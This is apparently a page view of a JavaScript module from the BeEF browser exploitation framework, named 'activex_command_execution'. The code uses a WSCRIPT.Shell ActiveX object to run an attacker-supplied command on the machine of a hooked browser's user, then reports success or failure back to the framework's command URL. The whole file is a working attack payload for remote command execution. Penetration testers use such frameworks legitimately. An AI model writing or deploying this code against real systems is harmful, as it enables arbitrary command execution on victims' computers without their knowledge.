Files
beef/modules/exploits/local_host/activex_command_execution/command.js
2014-01-01 16:34:15 +10:00

26 lines
594 B
JavaScript
Executable File

//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var cmd = '<%= @cmd.gsub(/'/, "\\'") %>';
var result = "command was not sent";
try {
var shell = new ActiveXObject('WSCRIPT.Shell').Run(cmd);
if (shell.toString() == 0) {
result = "command sent";
} else {
result = "command failed";
}
} catch(e) {
result = "command failed";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
});